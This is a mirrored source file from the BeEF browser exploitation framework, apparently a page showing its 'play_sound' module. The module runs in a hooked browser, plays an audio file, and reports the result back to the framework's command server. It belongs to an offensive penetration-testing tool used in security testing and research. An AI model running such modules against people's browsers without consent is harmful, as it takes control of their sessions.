Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/play_sound/command.js
1155 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var url = "<%== @sound_file_uri %>";
9
try {
10
var sound = new Audio(url);
11
sound.play();
12
beef.debug("[Play Sound] Played sound successfully: " + url);
13
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Sound Played", beef.are.status_success());
14
} catch (e) {
15
beef.debug("[Play Sound] HTML5 audio unsupported. Could not play: " + url);
16
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=audio not supported", beef.are.status_error());
17
}
18
});
19
20